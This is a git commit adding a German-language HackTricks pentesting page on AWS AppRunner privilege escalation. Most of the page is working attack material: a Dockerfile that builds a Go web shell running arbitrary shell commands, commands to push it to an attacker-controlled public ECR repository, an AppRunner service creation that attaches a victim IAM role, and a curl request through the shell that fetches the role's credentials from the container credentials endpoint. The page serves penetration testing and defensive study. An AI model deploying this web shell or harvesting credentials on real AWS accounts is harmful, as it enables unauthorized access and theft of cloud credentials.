Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-08-01 09:45:48 +00:00
parent 518bf18e22
commit 261da3a44c
4 changed files with 85 additions and 204 deletions

View File

@@ -0,0 +1,71 @@
# AWS - AppRunner Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AppRunner
### `iam:PassRole`, `apprunner:CreateService`
Ein Angreifer mit diesen Berechtigungen kann einen AppRunner-Dienst mit einer angehängten IAM-Rolle erstellen, wodurch er möglicherweise Privilegien eskalieren kann, indem er auf die Anmeldeinformationen der Rolle zugreift.
Der Angreifer erstellt zunächst eine Dockerfile, die als Web-Shell dient, um beliebige Befehle im AppRunner-Container auszuführen.
```Dockerfile
FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}
fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]
```
Dann push dieses Image in ein ECR-Repository. Durch das Pushen des Images in ein öffentliches Repository in einem von dem Angreifer kontrollierten AWS-Konto ist eine Privilegieneskalation möglich, selbst wenn das Konto des Opfers keine Berechtigungen hat, um ECR zu manipulieren.
```sh
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws
```
Als Nächstes erstellt der Angreifer einen AppRunner-Dienst, der mit diesem Web-Shell-Image und der IAM-Rolle konfiguriert ist, die er ausnutzen möchte.
```bash
aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl
```
Nachdem Sie gewartet haben, bis die Erstellung des Dienstes abgeschlossen ist, verwenden Sie die Web-Shell, um die Container-Anmeldeinformationen abzurufen und die Berechtigungen der IAM-Rolle zu erhalten, die an AppRunner angehängt ist.
```sh
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder IAM-Rolle, die an AppRunner-Dienste angehängt werden kann.
{{#include ../../../banners/hacktricks-training.md}}